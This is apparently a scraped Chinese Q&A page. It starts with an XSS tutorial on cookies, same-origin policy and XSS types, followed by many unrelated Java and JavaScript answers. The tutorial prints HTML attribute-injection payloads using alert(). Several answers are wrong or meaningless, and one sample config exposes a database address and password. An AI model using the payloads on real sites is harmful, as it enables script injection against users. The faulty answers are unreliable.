cookie的作用Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。也就是说,cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等),但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie,通过cookie中的特定值来识别sessionID,才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。2. 浏览器的同源策略在进行cookie窃取的时候,攻击者偷取的cookie是什么,是全部cookie,还是当前这个网站的cookie?要解决这个问题,我们要先了解一些浏览器的同源策略。同源策略,它是由Netscape提出的一个著名的安全策略。现在所有支持JavaScript 的浏览器都会使用这个策略。所谓同源是指,域名,协议,端口相同。当一个浏览器的两个tab页中分别打开来 百度和谷歌的页面当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,即检查是否同源,只有和百度同源的脚本才会被执行。同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。浏览器的同源策略限制了来自不同源的”document”或脚本,对当前”document”的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱,浏览器提出了”Origin”(源)这以概念,来自不同的Origin的对象无法互相干扰。因为同源策略的原因,也就导致了我们的XSS Payload(XSS攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在www.a.com下的cookie,那就必须在www.a.com这个域(可以是不同页面,但要保证是同一个域)下的的某一个页面放置XSS代码,可以是存储型,也可以是反射型或DOM Baesd型的。4. XSS攻击的种类对XSS的分类没有明确的标准,但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), DOM Based XSS4.1 非持久性跨站点脚本攻击非持久性XSS也称为反射型跨站漏洞。它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。如果你看了我们上面所示的例子,第一个例子是一个非持久的XSS攻击。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。4.2 持久的跨站点脚本攻击持久型跨站点脚本也称为存储跨站点脚本。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。在上面的示例中,第二个例子就展示了一个持久的XSS攻击。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。4.3 基于dom的跨站点脚本攻击基于DOM的XSS有时也称为type0 XSS。当用户能够通过交互修改浏览器页面中的DOM(Document Object Model)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。?12345678910<script>function test(){var str = document.getElementById("text").value;document.getElementById("t").innerHTML = "<a href="" + str + "" >testLink</a>";}</script><div id="t"></div><input type="text" id="text" value="" /><input type="button" id="s" value="write" onclick="test()" />在这个场景中,代码修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM Based XSS" onclick=alert(/xss/) "输入后,页面代码就变成了:<a href="" onclick=alert(/xss/) "" >testLink</a>点击这个新生成的链接,脚本将被执行。实际上,这里还有另外一种利用方式—除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签:"><img src=# onerror=alert(/xss2/) /><"页面代码变成了:<a href=""><img src=# onerror=alert(/xss2/) /><"" >testLink</a>5. XSS漏洞产生的原因跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体,用制造出一种行之有效的XSS过滤器是一件比较困难的事情。但是这只是相对的,对用户输入数据的”编码”和”过滤”在任何时候都是很重要的,我们必须采取一些针对性的手段对其进行防御。

java调用dll如何传入指针?invoke后如何获取指针的值?

假设我有一个叫test.dll的动态库,其中有一个函数如下:  extern "C" int add(int* a,int* b,int* c,int d,char* PicPath)  {  FILE *fp;  fp=fopen(PicPath,"wt");  for(int i=0;i   {  c[i]=a[i]+b[i];  fprintf(fp,"%d ",c[i]);  }  fclose(fp);  return 1;  }  该函数的功能是a,b两个数组的值相加,和存放的数组c中,在将和写入到指定的文件,数组的维数  有传入的参数决定。  问题提出:  1.Java中如何调用指针类型的参数;  2.整形的参数可以直接传入吗?;  3.PicPath为何是指针型的,怎么不是CString类型的;  4.如何获取输入型参数的返回值;  Java调用动态链接库的代码如下:  JNative t= new JNative("test.dll", "add"); //加载test.dll文件,并调用add方法;  t.setRetVal(Type.INT); // 设置调用后的返回类型  // Java中构造指针,并为指针分配空间  Pointer a = new Pointer(MemoryBlockFactory.createMemoryBlock(4 * 10));  Pointer b = new Pointer(MemoryBlockFactory.createMemoryBlock(4 * 10));  Pointer c = new Pointer(MemoryBlockFactory.createMemoryBlock(4 * 10));  Pointer strP= createPointer(100);  strP.setStringAt(0, "C:\1.txt");  int d=10;  // 为数组a和b赋值  for (int i = 0; i   a.setIntAt(4 * i, i);  b.setIntAt(4 * i, i);  }  // 设置参数:  t.setParameter(0, a);  t.setParameter(1, b);  t.setParameter(2, c);  t.setParameter(3, d);  t.setParameter(4, strP);  t.invoke(); // 调用函数并执行  // 输出和的值,注意:一个整形值需要用4个字节存储,所以j前面需要乘以4  for (int j = 0; j   System.out.println(c.getAsInt(4 * j));  }  // 释放内存  a.dispose();  b.dispose();  c.dispose();  好了,这样一个完整的调用例子就结束了,我只是写出了程序中的关键的代码,具体的还需要写一  个类,并且继承一个基类,在复写基类中的方法,这些都比较简单,大家可以参考一下网上的其他  例子。  问题解答:  1.Java中调用指针类型的参数:需要创建Pointer变量,并为其分配空间  2.整形的数据可以直接传入;  3.JNative对CString类型支持不是很良好,调用CString的方法时,经常会报一些异常,所以我把路径改成  的字符指针;  4.输入型参数作为输出:可以参见以上的例子,数组c是如何设置和输出的。

在java中,Double类型和double有什么不同?能否相互转换?

你好Double类型是double的包装类,在JDK1.5以后,二者可以直接相互赋值,称为自动拆箱和自动装箱。看你的提示,我推测你的jdk版本在1.5以前。 x0dx0a如果是这样,可以用Double中的方法,将包装类转为基本数据类型,如:x0dx0adouble amount = rec.getAmount().doubleValue() ;

关于javaBean中的bound属性。

Bound.java 中的setName 应改为 public void setName(String name) { /* 通知监听者队列里的所有事件监听者对象当前对象的属性值改变的事件 */ support.firePropertyChange("name", this.name, name); this.name = name; }output:张三Bean中的属性值没有变化李四Bean中的属性值发生了变化注: firePropertyChange 对应的三参数是:属性名,旧值,新值

eclipse中java.io.FileNotFoundException: .cap (系统找不到指定的文件)是什么错误,如何解决,求指导

找不到D:wiresharksohu3-1.cap 这个文件

Java 后端有什么书籍推荐嘛

1. 操作系统与网络的书《Linux内核设计与实现 第3版》Robert Love用最薄的篇幅,顺畅的文字将Linux内核主要的算法讲清楚了,《深入理解Linux内核》,《深入Linux内核架构》之类厚厚的全是代码,不是专门的内核程序员看这本足够了。《Linux系统编程 第2版》继续是Robert Love,比起APUE也是以薄见长,专门针对重要的系统调用讲解。《性能之巅》操作系统的性能调优、监控、工具和方法论,看这本就够了,已经足够厚,可能是书单里最厚的一本。《TCP/IP详解 卷1:协议》这么多年过去了,TCP的书好像主要还是只有这一本,有点旧了,看了也还是半懂不懂的。后人在2011年写了第二版,机械工业正在翻译。《WireShark网络分析就这么简单》和 《WireShark网络分析的艺术》 new!多少人,是看了这两本轻松又实战的书,才真正理解TCP的细节。PS:《UNIX环境高级编程》和《UNIX网络编程》,APUE和UNP更多作为一本超厚工具书存在。《Unix 编程艺术》,扯的都是闲篇,厚厚的一本其实略读一下就行。 《现代操作系统 第3版》如果看LKD未尽兴,可以回头看看这本基础概念,感觉比那本枯燥的《操作系统概念》(恐龙书)读起来舒服。《TCP/IP指南》 前面wireshark书作者的推荐,网上有英文免费版,然后有中文版的卷1和卷2,但可能那么多章节那么厚你只关心TCP和HTTP两部分。《HTTP权威指南》,同样是自己从厚厚的目录里挑选感兴趣的章节来看。另外,那些日本韩国人写的《图解XXX》感觉都不喜欢,真的不行。2. 算法的书《数据结构与算法分析-Java语言描述 第3版》够薄,数据结构与算法分析的点基本都涵盖了,而且喜欢它的示例代码是Java写的,新出了第3版。《算法 第4版》可与上一本对比着读,厚一些,也多些图,但知识点没上面的全,也是Java的。PS: 《数学之美》、《编程珠玑》,都是专栏文章,讲得并不系统,可以当兴趣读物来看。《算法设计与分析基础 第3版》数学系偏爱无比枯燥很多公式的《算法导论》, 计算机系喜欢这本实用主义的典型。3. 架构设计的书《软件系统架构:使用视点和视角与利益相关者合作 第2版》也是教科书,最难得的是,这本老书在十年后的去年升级了第二版,所以感觉鲜活了好多,也许是最鲜活的一本架构书。《恰如其分的软件架构 – 风险驱动的设计方法》由于人类与生俱来的惰性,计算机原本科学的、精准的设计方式,有了敏捷的借口之后就很难再维持了。本书就是在这种背景下,提出由风险来决定设计的度。除了开始的风险驱动部分,其余部分就是规规矩矩标标准准的架构师教科书。《发布!软件的设计与部署 – Release It!: Design and Deploy Production-Ready Software 》关于高可靠性的软件,学校里不会教,出来社会却要面对的那部分,英文的原标题更清晰。《大型网站技术架构:核心原理与案例分析》淘宝出品,大型互联网站的科普入门书。《高扩展性网站的50条原则》 new!同是入门级读物,如果还有个高可用50条原则,那就齐了。《微服务设计》 new!那么多微服务的书,还是这本比较不像赚快钱的。《大数据日知录》前几年参加各种技术会议,CAP,最终一致性,RWN,向量时钟,Paxos,一致性哈希,Gossip什么的能灌你一耳朵。而现在,你只要在家安安静静的看书就够了。不过这个领域发展太快,又一年过去了,期望它可以持续出新版。

你好 我也想要个Talking Tom Cat java格式的 朋友你能发给我吗? 邮箱zjb329329@qq.com

Talking Tom Cat java目前只支持andriod操作系统手机,塞班和java有高手在做,所以现在暂时没有java格式的。不过即使有java的,你的手机也要触摸屏才行,这个程序是基于触摸屏的

java如何读取XML配置文件

你想用哪种方式读

javascript如何在div的后面添加一个其他的元素

提供这样一个思路:获取目标div的下一个元素、下下个元素,保存为一个数组。然后再添加新的元素,在循环将数组中的元素加到新元素的后面。

怎么在java类中加载xml文件

JAVA与XML文件,可以说是软件开发的“黄金搭档”,而如何使用JAVA完成对XML文件的读取,是我们首先要解决的问题。一、XML文件这个示例文件包括了用来打开ORACLE数据库的各种参数<?xml version="1.0" encoding="UTF-8"?><dbmsg><dbinfo><drivername>oracle.jdbc.driver.OracleDriver</drivername><sConnStr>jdbc:oracle:thin:@11.88.225.80:1521:VOUCHERDB</sConnStr><username>SYS AS SYSDBA</username><password>voucherdb</password></dbinfo></dbmsg>二、编写类名为ReadXml的类,用于解析XML文件我们要在应用程序中打开数据库,就必须完成对该文件中drivername、sConnStr、username、password的读取,通过查找有关资料,笔者编制了以下程序,用于读取文件名为filename的XML文件。package voucher.basic;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.InputStream;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import javax.xml.parsers.ParserConfigurationException;import org.w3c.dom.Document;import org.w3c.dom.Element;import org.w3c.dom.Node;import org.w3c.dom.NodeList;import org.xml.sax.SAXException;public class ReadXml {private String drivername;private String sConnStr;private String username;private String password;public String getDrivername() {return drivername;}public String getSConnStr() {return sConnStr;}public String getUsername() {return username;}public String getPassword() {return password;}public void setDrivername(String drivername) {this.drivername = drivername;}public void setSConnStr(String connStr) {sConnStr = connStr;}public void setUsername(String username) {this.username = username;}public void setPassword(String password) {this.password = password;}public ReadXml(String fileName){DocumentBuilderFactory domfac=DocumentBuilderFactory.newInstance();try {DocumentBuilder dombuilder=domfac.newDocumentBuilder();InputStream is=new FileInputStream(fileName);Document doc=dombuilder.parse(is);Element root=doc.getDocumentElement();NodeList dbinfo=root.getChildNodes();if(dbinfo!=null){for(int i=0;i<dbinfo.getLength();i++){Node db=dbinfo.item(i);for(Node node=db.getFirstChild();node!=null;node=node.getNextSibling()){if(node.getNodeType()==Node.ELEMENT_NODE){if(node.getNodeName().equals("drivername")){setDrivername(node.getFirstChild().getNodeValue());}if(node.getNodeName().equals("sConnStr")){setSConnStr(node.getFirstChild().getNodeValue());}if(node.getNodeName().equals("username")){setUsername(node.getFirstChild().getNodeValue());}if(node.getNodeName().equals("password")){setPassword(node.getFirstChild().getNodeValue());}}} } }} catch (ParserConfigurationException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (FileNotFoundException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (SAXException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();} } }这个以ReadXml命名的类,使用了参数为文件名的构造方法,用户只要将配置文件我名称传递给该方法,就可以完成对XML文件的解析,进而完成对相应参数数的读取。三、如何获取XML文件全路径并读取配置参数获取XML文件全路径的方法有两个,一是在servlet中获取,二是在单独的JAVA类中获取。1.在servlet中获取XML文件的全路径并读取配置参数程序片段String dirPath = getServletContext().getRealPath( "/WEB-INF");String fileName = dirPath + "/conn.xml";ReadXml xm = new ReadXml(fileName);String DriverName = xm.getDrivername();String connStr = xm.getSConnStr();String user = xm.getUsername();String pas = xm.getPassword();将这段程序添加到servlet中dopost()之后即可完成参数的读取2.在单独的JAVA类中获取全路径并读取配置参数程序片段String dirpath = System.getProperty("user.dir");String xmlFile = dirpath + "/WebRoot/WEB-INF/conn.xml";ReadXml rdxml = new ReadXml(xmlFile);String driverName = rdxml.getDrivername();String sConnStr = rdxml.getSConnStr();String userName = rdxml.getUsername();String passWord = rdxml.getPassword();注:配置文件conn.xml保存在webroot/WEB-INF目录中。

JavaScript中如何通过一个元素去查找该元素的子元素节点

在Javascript中,可以通过 children 来获取所有子节点。children只返回HTML节点,甚至不返回文本节点,虽然不是标准的DOM属性,但是得到了几乎所有浏览器的支持。语法: nodeObject.children其中,nodeObject 为节点对象(元素节点),返回值为所有子节点的集合(数组)。注意:在IE中,children包含注释节点。(转自:http://www.itxueyuan.org/view/6349.html)

javascript 如何一次删除table的多个tr?

此方法需要在后台删除返回true时调用,把后台已经删除的数据隐藏掉,下次向后台查询时这些数据也不会再次出现!var a = [];//需要删除的行的index$("input[name="del"]:checked").each(function() { // 遍历选中的checkboxn = $(this).parents("tr").index(); // 获取checkbox所在行的顺序a.push(n);});for(var i = 0; i < a.length; i++) {$("#table_id tr").eq(a[i]+1).attr("hidden","hidden");}

如何使用javascript自动添加选择题选项前面的abcd

<!-- 写了个这样的--><html><body onload="load()"><div onclick="youcheck()"><input type="Radio" name="answer" ></input><input type="Radio" name="answer" ></input><input type="Radio" name="answer" ></input><input type="Radio" name="answer" ></input></div><div id="show"></div><script>var arr = ["A", "B", "C", "D"];function load() {var check = document.getElementsByTagName("input");for (var i = 0; i < check.length; i++) {check[i].value = arr[i];if (check[i].nextSibling.nodeType == 1) {var el = check[i].nextSibling.nextSibling;} else {el = check[i].nextSibling;}el.nodeValue = arr[i];}}function youcheck() {var check = document.getElementsByTagName("input");for (var i = 0; i < check.length; i++) {if (check[i].checked) {document.getElementById("show").innerHTML=check[i].value;}}}</script></body></html>

Javascript中DOM运行时的一个问题???

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DOM adding</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" /> <script type = "text/javascript"> <!-- function makeNode(str){ var newParagraph = document.createElement("p"); var newText = document.createTextNode(str); newParagraph.appendChild(newText); return newParagraph; } function appendBefore(nodeId,str){ var node = document.getElementById(nodeId); var newNode = makeNode(str); if(node.parentNode) node.parentNode.insertBefore(newNode,node); } function insertWidthin(nodeId,str){ var node = document.getElementById(nodeId); var newNode = makeNode(str); node.appendChild(newNode); } function appendAfter(nodeId,str){ var node = document.getElementById(nodeId); var newNode = makeNode(str); //if(){ if(node.nextSibling) { node.parentNode.insertBefore(newNode,node.nextSibling); } else { node.parentNode.appendChild(newNode); } } //--> </script> </head> <body> <h1>DOM Insert and Append</h1> <!--script> alert("body Ok!!"); </script--> <hr> <div style ="background-color:#66ff00"> <div id="innerDiv" style="background-color:#ffcc00;"></div> </div> <hr> <form id ="form1" name = "form1" action ="#" method ="get"> <input type ="text" id ="field1" name = "field1"> <input type ="button" value="Before" onclick="appendBefore("innerDiv",document.form1.field1.value);"> <input type ="button" value="Middle" onclick="insertWidthin("innerDiv",document.form1.field1.value);"> <input type ="button" value="After" onclick="appendAfter("innerDiv",document.form1.field1.value);"> </form> </body> </html>

javascript 改变数组的长度

因为myar1数组声明时未赋值。而你对input 绑定onclick事件。必须触发onclick事件才能将myar1赋值为["1","2","3"];不然,myar1就是个空数组。当你在输入框输入数字时,获取的值肯定是undefined。

java XML解析详解

(I)Java通过DOM解析XML1>得到DOM解析器的工厂实例  DocumentBuilderFactory domfac=DocumentBuilderFactory.newInstance();  得到javax.xml.parsers.DocumentBuilderFactory;类的实例就是我们要的解析器工厂  2>从DOM工厂获得DOM解析器  DocumentBuilder dombuilder=domfac.newDocumentBuilder();  通过javax.xml.parsers.DocumentBuilderFactory实例的静态方法newDocumentBuilder()得到DOM解析器  3>把要解析的XML文档转化为输入流,以便DOM解析器解析它  InputStream is=new FileInputStream("bin/library.xml");  InputStream是一个接口。4>解析XML文档的输入流,得到一个Document  Document doc=dombuilder.parse(is);  由XML文档的输入流得到一个org.w3c.dom.Document对象,以后的处理都是对Document对象进行的  5>得到XML文档的根节点  Element root=doc.getDocumentElement();  在DOM中只有根节点是一个org.w3c.dom.Element对象。  6>得到节点的子节点  NodeList books=root.getChildNodes();  for(int i=0;i<books.getLength();i++){ Node book=books.item(i);  }   这是用一个org.w3c.dom.NodeList接口来存放它所有子节点的,还有一种轮循子节点的方法,后面有介绍  7>取得节点的属性值  String email=book.getAttributes().getNamedItem("email").getNodeValue();  System.out.println(email);  注意,节点的属性也是它的子节点。它的节点类型也是Node.ELEMENT_NODE  8>轮循子节点  for(Node node=book.getFirstChild();node!=null;node=node.getNextSibling()){      if(node.getNodeType()==Node.ELEMENT_NODE){       if(node.getNodeName().equals("name")){       String name=node.getNodeValue();        String name1=node.getFirstChild().getNodeValue();       ...        if(node.getNodeName().equals("price")){        String price=node.getFirstChild().getNodeValue();...Java通过SAX解析XML Simple API for XML(简称SAX)是个循序存取XML的解析器API。 一个实现SAX的解析器(也就是“SAX Parser”)以一个串流解析器的型式作用,拥有事件驱动API。由使用者定义回调函数,解析时,若发生事件的话会被调用。SAX事件包括:XML 文字 节点XML 元素 节点XML 处理指令XML 注释Java代码 <person> <user> <username>谢成志</username> <password>6626310xie</password> <sex>男</sex> <birthday>1988/11/28</birthday> <headpic> <pictitle>ermao</pictitle> <picurl>images/head1.jpg</picurl> </headpic> </user> </person> 此为下面即将解析度简单xml结构,并将其封装成一个User对象。////////////////////////////////////////////////////////////////////////////////////Java代码 <span style="font-family: courier new,courier; font-size: small;">package com.xcz.xml; import java.io.File; import java.io.IOException; import javax.xml.parsers.ParserConfigurationException; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import org.xml.sax.SAXException; import com.xcz.util.SaxUtil; public class Sax4XML { public static void main(String[] args) { try { //1.获取factory SAXParserFactory factory = SAXParserFactory.newInstance(); //2.获取parser SAXParser parser = factory.newSAXParser(); //3.获取解析时的监听器对象 SaxUtil su = new SaxUtil(); //4.开始解析 parser.parse(new File("src/user-params.xml"), su); System.out.println(su.getUser()); } catch (ParserConfigurationException e) { e.printStackTrace(); } catch (SAXException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } } </span> ////////////////////////////////////////////////////////////////////////////////////Java代码 <span style="font-family: courier new,courier; font-size: small;">package com.xcz.util; import java.text.ParseException; import java.text.SimpleDateFormat; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; import com.xcz.po.HeadPic; import com.xcz.po.User; /** * 定义xml解析时的监听类 * * 实现方式有很多,可以实现接口:ContentHandler,DTDHandler, EntityResolver 和 ErrorHandler * 但我们常用的继承:DefaultHandler */ public class SaxUtil extends DefaultHandler { private User user; private HeadPic headPic; private String content; private SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd"); @Override public void characters(char[] ch, int start, int length) throws SAXException { content = new String(ch, start, length); } //当解析到文本开始时触发 @Override public void startDocument() throws SAXException { super.startDocument(); } //当解析到文本结束时触发 @Override public void endDocument() throws SAXException { super.endDocument(); } //当解析到元素开始时触发 @Override public void startElement(String uri, String localName, String name, Attributes attributes) throws SAXException { if("user".equals(name)) { user = new User(); } if("headpic".equals(name)) { headPic = new HeadPic(); } } //当解析到元素结束时触发 @Override public void endElement(String uri, String localName, String name) throws SAXException { if("username".equals(name)) { user.setUsername(content); } if("password".equals(name)) { user.setPassword(content); } if("sex".equals(name)) { user.setSex(content); } if("birthday".equals(name)) { try { user.setBirthday(sdf.parse(content)); } catch (ParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } } if("pictitle".equals(name)) { headPic.setPicTitle(content); } if("picurl".equals(name)) { headPic.setPicUrl(content); user.setHeadPic(headPic); } } public User getUser(){ return user; } }</span> [优点] (1).节约内存开销 SAX解析器在某些方面优于DOM风格解析器,因为SAX解析器的内存使用量一般远低于DOM解析器使用量。DOM解析器在任何处理开始之前,必须将xml以整棵树放在内存,所以DOM解析器的内存使用量完全根据输入资料的大小。相对来说,SAX解析器的内存内容,是只基于XML档案的最大深度(XML树的最大深度)和单一XML项目上XML属性储存的最大资料。 (2)解析速度快 因为SAX事件驱动的本质,处理文件通常会比DOM风格的解析器快。 [缺点] SAX事件驱动的模型对于XML解析很有用,但它确实有某些缺点。 某些种类的XML验证需要存取整份文件。例如,一个DTD IDREF属性需要文件内有项目使用指定字串当成DTD ID属性。要在SAX解析器内验证,必须追踪每个之前遇过的ID和IDREF属性,检查是否有任何相符。更甚者,一个IDREF找不到对应的ID,使用者只会在整份文件都解析完后才发现,若这种连结对于建立有效输出是重要的,那用在处理整份文件的时间只是浪费。

javascript如何在div的后面添加一个其他的元素

vardoc=document.createElement("p");//创建P元素varstr=document.createTextNode("HelloWord");//创建文本节点doc.appendChild(str);//将文本节点加入P中varobjdiv=document.getElementById("nv");objdiv.appendChild(doc);//再将元素加到指定DIV中!你测试一下就行了!

Java VM 与VMware Workstation,是两款软件吗? 有什么区别吗? 实在不懂,劳烦各位仔细讲讲??

dwdwadawdw

java 是什么可以用来做外挂吗

c对图形界面支持不好。java不底层。c++2种优点兼具.黑客的话,要会反汇编。了解计算机底层。如果你说的是网游的外挂,那就不要那么复杂了。找个wpe封包软件、会点vbs脚本就可以了。

org.springframework.util.stringutils 是java哪个jar包下的

org.springframework.context-3.1.0.RELEASE。jar

java设计一个类,在main()方法中实现如下功能:定义如下的数组

import java.util.Arrays;import java.util.List;import java.util.Scanner;public class TestPass{ public static void main(String[] args){ String[] strings = {"589abc","werwer","hhkkrr","ABAABASD","jkuho09","aasdsd","dfdsfd"}; Scanner sc = new Scanner(System.in); System.out.println("请输入密码"); List<String> stringArray = Arrays.asList(strings); String pass = sc.next(); int count = 2; while(!stringArray.contains(pass)){ if(count == 0){ System.out.println("3次输入的密码不对,有异常,主人账号有危险!"); return; } System.out.println("输入的密码不对,还有" + count + "次机会"); count--; pass = sc.next(); } System.out.println("密码正确"); }}请采纳

java中textfield和textarea有什么区别?

textfield只有一行可写;textarea是一个区域,可以有很多行;textarea的方法比textfield多。Java是由Sun Microsystems公司推出的Java面向对象程序设计语言(以下简称Java语言)和Java平台的总称。Java由James Gosling和同事们共同研发,并在1995年正式推出。Java最初被称为Oak,是1991年为消费类电子产品的嵌入式芯片而设计的。1995年更名为Java,并重新设计用于开发Internet应用程序。用Java实现的HotJava浏览器(支持Java applet)显示了Java的魅力:跨平台、动态Web、Internet计算。从此,Java被广泛接受并推动了Web的迅速发展,常用的浏览器均支持Javaapplet。另一方面,Java技术也不断更新。Java自面世后就非常流行,发展迅速,对C++语言形成有力冲击。在全球云计算和移动互联网的产业环境下,Java更具备了显著优势和广阔前景。2010年Oracle公司收购Sun Microsystems。

java textArea如何追加显示文字

textArea.setText(textArea.getText()+"你要追加的内容");就可以了

怎么使用javascript(不要使用jquery)检测元素是否溢出(超出边框?

不管是jquery还是javasctipt其原理完全一样的,首先你要获取到容器元素的宽度,在计算出容器里面横排元素的宽度、边框、间距之和有没有大于容器的宽度,如果大于在进行你自己的操作,如隐藏!获取宽度:documentById("x").style.offsetWidth

java中textfield和textarea有什么区别啊

textfield只有一行可写textarea是一个区域,可以有很多行

java中使用日志主要分为哪几个步骤

首先,你要确定日志记在哪里,例如文件,标准输出,系统日志,服务器日志。确定日志的目的:分析性能,查错,历史记录等。然后,就可以确定用什么来记日志。然后再查询对应日志的说明。常见的有 log4j,logback,slf4j,common-log,已经非标准的 System.out.println, 数据库日志等。具体的用法,网上有的是。可以慢慢查。

java中频繁xml格式化报文组装不全

您要问的是java中频繁xml格式化报文组装不全是为什么?解析错误。将Java对象转换为XML格式时,需要使用XML解析器和格式化器,如XML解析器无法正确解析格式化的XML文件,或格式化器在处理XML文件时出现错误,就会导致报文组装不全的问题。

java集合中contain方法怎么写

集合的Contain方法,是键值的比较,必须在将元素加入集合时同时指定键值,即使用这样的方法:Object.Contain(Value,Key)比较是“健值”的比较,为了便于直接比较,可以用值来作键值的方法。如要检查合法的性别,在将“男”和“女”这两个合法值加入时必须使用:Object.Add("男","男")Object.Add("女","女")之后,就可以用Contain方法比较值"男"、"女"在不在集合SEX中了。

java 连接sqlserver 遇到的问题

TCP/IP 连接失败。 看看你的数据库的服务有没有开启.

启动resin时,报出javax.naming.NameNotFoundException: java:comp/env//jms/FailoverConnectionFactory?

问题有两个可能:1 你环境变量配置不对,或者相关的jar文件没有放到指定的目录,导致无法找到class文件2 你通过console配置应用服务器设置的时候,名字没有配好。参考手册,建议一下吧。

请问java用spring jdbctemple中的什么方法可以返回List

还是用ibatis方便,自动生成数据库操作接口,里面有你需要的大部分操作,返回list[object]是有的
 首页 上一页  18 19 20 21 22 23 24 25 26 27 28  下一页  尾页